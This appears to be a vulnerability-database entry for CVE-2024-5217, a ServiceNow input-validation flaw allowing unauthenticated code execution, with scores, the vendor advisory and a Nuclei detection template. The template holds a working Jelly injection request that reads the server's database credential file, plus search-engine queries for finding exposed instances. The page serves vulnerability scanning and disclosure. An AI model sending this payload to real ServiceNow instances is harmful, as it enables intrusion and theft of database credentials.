ServiceNow - Incomplete Input Validation

2024-07-1106:48:03

ProjectDiscovery

github.com

servicenow

input validation

vulnerability

washington dc

vancouver

now platform

security patches

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVSS4

9.2

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/SC:N/VI:H/SI:N/VA:H/SA:N

AI Score

9.7

Confidence

High

EPSS

0.961

Percentile

99.5%

JSON

ServiceNow has addressed an input validation vulnerability that was identified in the Washington DC, Vancouver, and earlier Now Platform releases. This vulnerability could enable an unauthenticated user to remotely execute code within the context of the Now Platform. The vulnerability is addressed in the listed patches and hot fixes below, which were released during the June 2024 patching cycle. If you have not done so already, we recommend applying security patches relevant to your instance as soon as possible.

id: CVE-2024-5217

info:
  name: ServiceNow - Incomplete Input Validation
  author: DhiyaneshDk,ritikchaddha
  severity: critical
  description: |
    ServiceNow has addressed an input validation vulnerability that was identified in the Washington DC, Vancouver, and earlier Now Platform releases. This vulnerability could enable an unauthenticated user to remotely execute code within the context of the Now Platform. The vulnerability is addressed in the listed patches and hot fixes below, which were released during the June 2024 patching cycle. If you have not done so already, we recommend applying security patches relevant to your instance as soon as possible.
  reference:
    - https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1644293
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1648313
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5217
  metadata:
    verified: true
    max-request: 1
    vendor: servicenow
    product: servicenow
    shodan-query:
      - http.favicon.hash:"1701804003"
      - http.title:"servicenow"
    fofa-query:
      - icon_hash=1701804003
      - title="servicenow"
    google-query: intitle:"servicenow"
  tags: cve,cve2024,servicenow,rce,kev

http:
  - raw:
      - |
        GET /login.do?jvar_page_title=<style><j:jelly+xmlns:j="jelly:core"+xmlns:g='glide'><g:evaluate>z=new+Packages.java.io.File("").getAbsolutePath();z=z.substring(0,z.lastIndexOf("/"));u=new+SecurelyAccess(z.concat("/co..nf/glide.db.properties")).getBufferedReader();s="";while((q=u.readLine())!==null)s=s.concat(q,"\n");gs.addErrorMessage(s);</g:evaluate></j:jelly></style> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "glide.db.user"

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e9515b4d468ac0501a40f645a76cff084bacf0ee929360cd16286bf146247503022060a8edc9206f1547392f6b47b16ae55c45598df04944010c30eb5cc0107a83ae:922c64590222798bb761d5b6d8e72950